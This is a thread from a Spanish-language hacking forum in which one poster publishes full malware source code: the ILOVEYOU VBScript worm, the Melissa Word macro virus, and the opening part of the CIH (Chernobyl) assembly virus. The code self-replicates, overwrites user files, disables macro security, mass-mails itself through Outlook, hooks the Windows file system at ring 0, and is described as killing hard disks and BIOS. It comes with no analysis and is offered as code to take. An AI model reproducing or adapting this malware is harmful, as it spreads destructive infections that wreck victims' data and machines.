Codigos Fuente - CPH hacking and security

Universal SAC
NZ3

Desconectado

Mensajes: 577

Universal SAC

Codigos Fuente

« : 07 de Junio de 2005, 08:24:33 »

CÃ³digo Fuente del Virus: I Love you
------------------------------------------------------------------------------------------------------------------comienza cÃ³digo: I Love You
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.File SystemObject")
set file = fso.OpenTextFi le(WScript.Script Fullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_U SER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecial Folder(0)
Set dirsystem = fso.GetSpecial Folder(1)
Set dirtemp = fso.GetSpecial Folder(2)
Set c = fso.GetFile(WScript.Script FullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_U SER\Software\Microsoft\Internet Explorer\Download
Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","
Para ver este enlace Registrate o Inicia Sesion"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","
Para ver este enlace Registrate o Inicia Sesion"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","
Para ver este enlace Registrate o Inicia Sesion"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","
Para ver este enlace Registrate o Inicia Sesion"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_U SER\Software\Microsoft\Internet Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or
(ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini")
or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.Writ eLine "[script]"
scriptini.Writ eLine ";mIRC Script"
scriptini.Writ eLine "; Please dont edit this script... mIRC will corrupt, if
mIRC will"
scriptini.Writ eLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.Writ eLine ";"
scriptini.Writ eLine ";Khaled Mardam-Bey"
scriptini.Writ eLine ";
Para ver este enlace Registrate o Inicia Sesion"
scriptini.Writ eLine ";"
scriptini.Writ eLine "n0=on 1:JOIN:#:{"
scriptini.Writ eLine "n1= /if ( $nick == $me ) { halt }"
scriptini.Writ eLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.Writ eLine "n3=}"
scriptini.clos e
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWri te regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderE xists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Applic ation")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLi sts.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_U SER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntri es.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntri es.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_U SER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipient s.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachmen ts.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWri te
"HKEY_CURRENT_U SER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWri te
"HKEY_CURRENT_U SER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWri te
"HKEY_CURRENT_U SER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@
CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft
Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
"&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this
HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
""&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
""&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.File SystemObject")
set c=fso.OpenTextFile(WScript.Script FullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
---------------------------------------------------------------------------------------------------------------------------------------termina cÃ³digo: I Love You


« Última modificación: 21 de Octubre de 2007, 01:12:55 por #ÒNé# »	En línea

~UNIVERSAL[HACK]

Universal SAC
NZ3

Desconectado

Mensajes: 577

Universal SAC

Re: CÃ³digos Fuente

« Respuesta #1 : 07 de Junio de 2005, 08:25:50 »

CÃ³digo Fuente del Virus: Melissa[/u][/i][/b]

-----------------------------------------------------------------------------------------------------------------comienza cÃ³digo: Melissa
Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.Private ProfileString("", "HKEY_CURRENT_U SER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.Private ProfileString("", "HKEY_CURRENT_U SER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.Confir mConversions = (1 - 1): Options.VirusP rotection = (1 - 1): Options.SaveNo rmalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASli ce
Set UngaDasOutlook = CreateObject("Outlook.Applic ation")
Set DasMapiName = UngaDasOutlook .GetNameSpace("MAPI")
If System.Private ProfileString("", "HKEY_CURRENT_U SER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Lo gon "profile", "password"
For y = 1 To DasMapiName.Ad dressLists.Cou nt
Set AddyBook = DasMapiName.Ad dressLists(y)
x = 1
Set BreakUmOffASli ce = UngaDasOutlook .CreateItem(0)
For oo = 1 To AddyBook.Addre ssEntries.Coun t
Peep = AddyBook.Addre ssEntries(x)
BreakUmOffASli ce.Recipients. Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.Addre ssEntries.Coun t
Next oo
BreakUmOffASli ce.Subject = "Important Message From " & Application.Us erName
BreakUmOffASli ce.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASli ce.Attachments .Add ActiveDocument .FullName
BreakUmOffASli ce.Send
Peep = ""
Next y
DasMapiName.Lo goff
End If
p$ = "clone"
System.Private ProfileString("", "HKEY_CURRENT_U SER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument .VBProject.VBC omponents.Item (1)
Set NTI1 = NormalTemplate .VBProject.VBC omponents.Item (1)
NTCL = NTI1.CodeModul e.CountOfLines
ADCL = ADI1.CodeModul e.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModul e.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModul e.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModul e.Lines(1, 1) = ""
ADI1.CodeModul e.DeleteLines 1
Loop
ToInfect.CodeM odule.AddFromS tring ("Private Sub Document_Close()")
Do While ADI1.CodeModul e.Lines(BGN, 1) <> ""
ToInfect.CodeM odule.REPLACEL ines BGN, ADI1.CodeModul e.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModul e.Lines(1, 1) = ""
NTI1.CodeModul e.DeleteLines 1
Loop
ToInfect.CodeM odule.AddFromS tring ("Private Sub Document_Open()")
Do While NTI1.CodeModul e.Lines(BGN, 1) <> ""
ToInfect.CodeM odule.REPLACEL ines BGN, NTI1.CodeModul e.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument .Name, "Document") = False) Then
ActiveDocument .SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument .Name, "Document") <> False) Then
ActiveDocument .Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.Type Text "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
-----------------------------------------------------------------------------------------------------------------------------------------------termina cÃ³digo: Melissa


	En línea

~UNIVERSAL[HACK]

Universal SAC
NZ3

Desconectado

Mensajes: 577

Universal SAC

Re: CÃ³digos Fuente

« Respuesta #2 : 07 de Junio de 2005, 08:28:05 »

CÃ³digo Fuente del Virus: Chernobyl[/u][/i][/b]
el cÃ³digo de este virus, ha sido dividido en 2... debido a que esta hecho en assembler... muuuuuuuuuy largo, jeje...

-------------------------------------------------------------------------------------------------------------------------------------------------------comienza cÃ³digo: Chernobyl

; ****************************************************************************
; *         The Virus Program Information *
; ****************************************************************************
; * *
; *   Designer : CIH         Source : TTIT of TATUNG in Taiwan *
; *   Create Date : 04/26/1998   Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; *                             *
; *   Turbo Assembler Version 4.0   : tasm /m cih           *
; *   Turbo Link Version 3.01      : tlink /3 /t cih, cih.exe     *
; *                             *
; *==========================================================================*
; *         Modification History *
; *==========================================================================*
; *   v1.0   1. Create the Virus Program. *
; *      2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; *      4. Call IFSMgr_Install FileSystemApiH ook to Hook File System. *
; *      5. Modifies Entry Point of IFSMgr_Install FileSystemApiH ook. *
; *      6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; *      7. It is also Infected, even the File is Read-Only. *
; *      8. When the File is Infected, the Modification Date and Time *
; *        of the File also don't be Changed. *
; *      9. When My Virus Uses IFSMgr_Ring0_F ileIO, it will not Call *
; *        Previous FileSystemApiH ook, it will Call the Function *
; *        that the IFS Manager Would Normally Call to Implement *
; *        this Particular I/O Request. *
; *     10. The Virus Size is only 656 Bytes. *
; *==========================================================================*
; *   v1.1   1. Especially, the File that be Infected will not Increase *
; *        it's Size... ^__^                 *
; * 05/15/1998   2. Hook and Modify Structured Exception Handing.     *
; *        When Exception Error Occurs, Our OS System should be in *
; *        Windows NT. So My Cute Virus will not Continue to Run, *
; *        it will Jmup to Original Application to Run.        *
; *      3. Use Better Algorithm, Reduce Virus Code Size.     *
; *      4. The Virus "Basic" Size is only 796 Bytes.        *
; *==========================================================================*
; *   v1.2   1. Kill All HardDisk, and BIOS... Super... Killer...     *
; *      2. Modify the Bug of v1.1              *
; * 05/21/1998   3. The Virus "Basic" Size is 1003 Bytes.        *
; *==========================================================================*
; *   v1.3   1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
; *        So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998   2. The Virus "Basic" Size is 1010 Bytes.        *
; *==========================================================================*
; *   v1.4   1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; *      2. Change the Date of Killing Computers.        *
; * 05/31/1998   3. Modify Virus Version Copyright.           *
; *      4. The Virus "Basic" Size is 1019 Bytes.        *
; ****************************************************************************

.586P

; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) *
; ****************************************************************************

OriginalAppEXE SEGMENT

FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      dd   00000000h, VirusSize

OriginalAppEXE ENDS

; ****************************************************************************
; * My Virus Game *
; ****************************************************************************

; *********************************************************
; * Constant Define *
; *********************************************************

TRUE         =   1
FALSE         =   0

DEBUG         =   TRUE

MajorVirusVers ion   =   1
MinorVirusVers ion   =   4

VirusVersion      =   MajorVirusVersion*10h+MinorVirusVersion

IF   DEBUG

   FirstKillHardDiskNumber   =   81h
   HookExceptionNumber = 05h

ELSE

   FirstKillHardDiskNumber   =   80h
   HookExceptionNumber = 03h

ENDIF

FileNameBuffer Size   =   7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
         push   ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

         lea   eax, [esp-04h*2]

         xor   ebx, ebx
         xchg   eax, fs:[ebx]

         call   @0
@0:
         pop   ebx

         lea   ecx, StopToRunVirus Code-@0[ebx]
         push   ecx

         push   eax

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

         push   eax      ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionN umber*08h+04h ; ZF = 0

         cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHoo k-@1[ecx]

         push   esi

         mov   [ebx-04h], si      ;
         shr   esi, 16         ; Modify Exception
         mov   [ebx+02h], si      ; Entry Point Address

         pop   esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

         int   HookExceptionNumber   ; GenerateExcept ion
ReturnAddressO fEndException   =   $

; *************************************
; * Merge All Virus Code Section *
; *************************************

         push   esi
         mov   esi, eax

LoopOfMergeAll VirusCodeSecti on:

         mov   ecx, [eax-04h]

         rep   movsb

         sub   eax, 08h

         mov   esi, [eax]

         or   esi, esi
         jz   QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

         jmp   LoopOfMergeAllVirusCodeSection

QuitLoopOfMerg eAllVirusCodeS ection:

         pop   esi

; *************************************
; * Generate Exception Again *
; *************************************

         int   HookExceptionNumber   ; GenerateExcept ion Again

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
         sti

         xor   ebx, ebx

         jmp   RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirus Code:
@1         =   StopToRunVirusCode

         xor   ebx, ebx
         mov   eax, fs:[ebx]
         mov   esp, [eax]

RestoreSE:
         pop   dword ptr fs:[ebx]
         pop   eax

; *************************************
; * Return Original App to Execute *
; *************************************

         pop   ebp

push 00401000h ; Push Original
OriginalAddres sOfEntryPoint   =   $-4   ; App Entry Point to Stack

ret ; Return to Original App Entry Point

; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************

MyExceptionHoo k:
@2         =   MyExceptionHook

         jz   InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !? *
; *************************************

         mov   ecx, dr0
         jecxz   AllocateSystemMemoryPage

         add   dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program *
; *************************************

ExitRing0Init:
         mov   [ebx-04h], bp   ;
         shr   ebp, 16      ; Restore Exception
         mov   [ebx+02h], bp   ;

         iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystem MemoryPage:

         mov   dr0, ebx   ; Set the Mark of My Virus Exist in System

         push   00000000fh   ;
         push   ecx      ;
         push   0ffffffffh   ;
         push   ecx      ;
         push   ecx      ;
         push   ecx      ;
         push   000000001h   ;
         push   000000002h   ;
         int   20h      ; VMMCALL _PageAllocate
_PageAllocate      =   $      ;
         dd   00010053h   ; Use EAX, ECX, EDX, and flags
         add   esp, 08h*04h

         xchg   edi, eax   ; EDI = SystemMemory Start Address

         lea   eax, MyVirusStart-@2[esi]

         iretd   ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook *
; *************************************

InstallMyFileS ystemApiHook:

         lea   eax, FileSystemApiH ook-@6[edi]

         push   eax ;
         int   20h ; VXDCALL IFSMgr_Install FileSystemApiH ook
IFSMgr_Install FileSystemApiH ook   =   $   ;
         dd 00400067h   ; Use EAX, ECX, EDX, and flags

         mov   dr0, eax   ; Save OldFileSystemA piHook Address

         pop   eax   ; EAX = FileSystemApiH ook Address

         ; Save Old IFSMgr_Install FileSystemApiH ook Entry Point
         mov   ecx, IFSMgr_Install FileSystemApiH ook-@2[esi]
         mov   edx, [ecx]
         mov   OldInstallFileSystemApiHook-@3[eax], edx

         ; Modify IFSMgr_Install FileSystemApiH ook Entry Point
         lea   eax, InstallFileSys temApiHook-@3[eax]
         mov   [ecx], eax

         cli

         jmp   ExitRing0Init

; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************

CodeSizeOfMerg eVirusCodeSect ion      =   offset $

; *********************************************************
; * IFSMgr_Install FileSystemApiH ook *
; *********************************************************

InstallFileSys temApiHook:
         push   ebx

         call   @4   ;
@4:               ;
         pop   ebx   ; mov ebx, offset FileSystemApiH ook
         add   ebx, FileSystemApiH ook-@4   ;

         push   ebx
         int   20h ; VXDCALL IFSMgr_RemoveF ileSystemApiHo ok
IFSMgr_RemoveF ileSystemApiHo ok   =   $
         dd 00400068h   ; Use EAX, ECX, EDX, and flags
         pop   eax

         ; Call Original IFSMgr_Install FileSystemApiH ook
         ; to Link Client FileSystemApiH ook
         push   dword ptr [esp+8]
         call   OldInstallFileSystemApiHook-@3[ebx]
         pop   ecx

         push   eax

         ; Call Original IFSMgr_Install FileSystemApiH ook
         ; to Link My FileSystemApiH ook
         push   ebx
         call   OldInstallFileSystemApiHook-@3[ebx]
         pop   ecx

         mov   dr0, eax   ; Adjust OldFileSystemA piHook Address

         pop   eax

         pop   ebx

         ret

; *********************************************************
; *         Static Data *
; *********************************************************

OldInstallFile SystemApiHook   dd   ?

; *********************************************************
; * IFSMgr_FileSys temHook *
; *********************************************************

; *************************************
; * IFSMgr_FileSys temHook Entry Point *
; *************************************

FileSystemApiH ook:
@3         =   FileSystemApiHook

         pushad

call @5   ;
@5:               ;
pop esi   ; mov esi, offset VirusGameDataS tartAddress
add esi, VirusGameDataS tartAddress-@5

; *************************************
; * Is OnBusy !? *
; *************************************

         test   byte ptr (OnBusy-@6)[esi], 01h   ; if ( OnBusy )
         jnz   pIFSFunc         ; goto pIFSFunc

; *************************************
; * Is OpenFile !? *
; *************************************

         ; if ( NotOpenFile )
         ; goto prevhook
         lea   ebx, [esp+20h+04h+04h]
         cmp   dword ptr [ebx], 00000024h
         jne   prevhook

; *************************************
; * Enable OnBusy *
; *************************************

         inc   byte ptr (OnBusy-@6)[esi]   ; Enable OnBusy

; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer . *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************

         ; mov esi, offset FileNameBuffer
         add   esi, FileNameBuffer-@6

         push   esi

         mov   al, [ebx+04h]
         cmp   al, 0ffh
         je   CallUniToBCSPath

         add   al, 40h
         mov   ah, ':'

         mov   [esi], eax

         inc   esi
         inc   esi

; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************

